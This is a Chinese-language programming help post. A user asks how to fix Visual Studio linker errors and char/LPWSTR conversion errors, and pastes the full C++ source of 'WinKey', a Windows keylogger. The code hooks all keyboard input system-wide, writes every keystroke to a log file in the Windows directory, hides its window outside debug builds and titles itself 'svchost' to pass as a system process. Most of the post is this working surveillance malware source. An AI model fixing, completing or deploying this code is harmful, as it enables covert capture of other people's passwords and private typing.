如何解决这些错误？我尝试转换参数，但会产生新的错误。我不知道如何解决这个问题。有谁知道如何解决这些错误？
在命令行模式下：
Error 1 error LNK2019: unresolved external symbol _main referenced in function ___tmainCRTStartup C:\User\Documents\Visual Studio 2012\Projects\ConsoleApplication4\ConsoleApplication4\MSVCRTD.lib(crtexe.obj) ConsoleApplication4
Error 2 error LNK1120: 1 unresolved externals C:\User\Documents\Visual Studio 2012\Projects\ConsoleApplication4\Debug\ConsoleApplication4.exe ConsoleApplication4
在win32模板模式中：
Error 1 error C2664: 'GetKeyNameTextW' : cannot convert parameter 2 from 'char [255]' to 'LPWSTR' c:\Win32Project7.cpp 60 1 Win32Project7
Error 2 error C2440: '=' : cannot convert from 'const char [7]' to 'LPCWSTR' c:\Win32Project7.cpp 167 1 Win32Project7
Error 3 error C2664: 'CreateWindowExW' : cannot convert parameter 2 from 'const char [7]' to 'LPCWSTR' c:\Win32Project7.cpp 184 1 Win32Project7
Error 4 error C2664: 'GetWindowsDirectoryW' : cannot convert parameter 1 from 'LPSTR' to 'LPWSTR' c:\Win32Project7.cpp 210 1 Win32Project7
5 IntelliSense: argument of type "char *" is incompatible with parameter of type "LPWSTR" c:\Win32Project7.cpp 60 23 Win32Project7
6 IntelliSense: a value of type "const char *" cannot be assigned to an entity of type "LPCWSTR" c:\Win32Project7.cpp 167 28 Win32Project7
7 IntelliSense: argument of type "const char *" is incompatible with parameter of type "LPCWSTR" c:\Win32Project7.cpp 182 30 Win32Project7
8 IntelliSense: argument of type "const char *" is incompatible with parameter of type "LPCWSTR" c:\Win32Project7.cpp 182 41 Win32Project7
9 IntelliSense: argument of type "LPSTR" is incompatible with parameter of type "LPWSTR" c:\Win32Project7.cpp 210 22 Win32Project7
代码
#include "stdafx.h"
/*
* WinKey -- A GPL Windows keylogging program. While this program can potentially
* be used for nefarious purposes, it was written for educational and recreational
* purposes only and the author does not endorse illegal use.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <fstream>
#include <iostream>
#include <string>
#include <windows.h>
#define DEBUG 1
#define OUTFILE_NAME "Logs\\WinKey.log" /* Output file */
#define CLASSNAME "winkey"
#define WINDOWTITLE "svchost"
char windir[MAX_PATH + 1];
HHOOK kbdhook; /* Keyboard hook handle */
bool running; /* Used in main loop */
/**
* \brief Called by Windows automagically every time a key is pressed (regardless
* of who has focus)
*/
__declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
{
if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
static bool capslock = false;
static bool shift = false;
char tmp[0xFF] = {0};
std::string str;
DWORD msg = 1;
KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
bool printable;
/*
* Get key name as string
*/
msg += (st_hook.scanCode << 16);
msg += (st_hook.flags << 24);
GetKeyNameText(msg, tmp, 0xFF);
str = std::string(tmp);
printable = (str.length() <= 1) ? true : false;
/*
* Non-printable characters only:
* Some of these (namely; newline, space and tab) will be
* made into printable characters.
* Others are encapsulated in brackets ('[' and ']').
*/
if (!printable) {
/*
* Keynames that change state are handled here.
*/
if (str == "CAPSLOCK")
capslock = !capslock;
else if (str == "SHIFT")
shift = true;
/*
* Keynames that may become printable characters are
* handled here.
*/
if (str == "ENTER") {
str = "\n";
printable = true;
} else if (str == "SPACE") {
str = " ";
printable = true;
} else if (str == "TAB") {
str = "\t";
printable = true;
} else {
str = ("[" + str + "]");
}
}
/*
* Printable characters only:
* If shift is on and capslock is off or shift is off and
* capslock is on, make the character uppercase.
* If both are off or both are on, the character is lowercase
*/
if (printable) {
if (shift == capslock) { /* Lowercase */
for (size_t i = 0; i < str.length(); ++i)
str[i] = tolower(str[i]);
} else { /* Uppercase */
for (size_t i = 0; i < str.length(); ++i) {
if (str[i] >= 'A' && str[i] <= 'Z') {
str[i] = toupper(str[i]);
}
}
}
shift = false;
}
#ifdef DEBUG
std::cout << str;
#endif
std::string path = std::string(windir) + "\\" + OUTFILE_NAME;
std::ofstream outfile(path.c_str(), std::ios_base::app);
outfile << str;
outfile.close();
}
return CallNextHookEx(kbdhook, code, wp, lp);
}
/**
* \brief Called by DispatchMessage() to handle messages
* \param hwnd Window handle
* \param msg Message to handle
* \param wp
* \param lp
* \return 0 on success
*/
LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
{
switch (msg) {
case WM_CLOSE: case WM_DESTROY:
running = false;
break;
default:
/* Call default message handler */
return DefWindowProc(hwnd, msg, wp, lp);
}
return 0;
}
int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
LPSTR cmdline, int ncmdshow)
{
/*
* Set up window
*/
HWND hwnd;
HWND fgwindow = GetForegroundWindow(); /* Current foreground window */
MSG msg;
WNDCLASSEX windowclass;
HINSTANCE modulehandle;
windowclass.hInstance = thisinstance;
windowclass.lpszClassName = CLASSNAME;
windowclass.lpfnWndProc = windowprocedure;
windowclass.style = CS_DBLCLKS;
windowclass.cbSize = sizeof(WNDCLASSEX);
windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
windowclass.hCursor = LoadCursor(NULL, IDC_ARROW);
windowclass.lpszMenuName = NULL;
windowclass.cbClsExtra = 0;
windowclass.cbWndExtra = 0;
windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;
if (!(RegisterClassEx(&windowclass)))
return 1;
hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
thisinstance, NULL);
if (!(hwnd))
return 1;
/*
* Make the window invisible
*/
#ifdef DEBUG
/*
* Debug mode: Make the window visible
*/
ShowWindow(hwnd, SW_SHOW);
#else
ShowWindow(hwnd, SW_HIDE);
#endif
UpdateWindow(hwnd);
SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */
/*
* Hook keyboard input so we get it too
*/
modulehandle = GetModuleHandle(NULL);
kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);
running = true;
GetWindowsDirectory((LPSTR)windir, MAX_PATH);
/*
* Main loop
*/
while (running) {
/*
* Get messages, dispatch to window procedure
*/
if (!GetMessage(&msg, NULL, 0, 0))
running = false; /*
* This is not a "return" or
* "break" so the rest of the loop is
* done. This way, we never miss keys
* when destroyed but we still exit.
*/
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}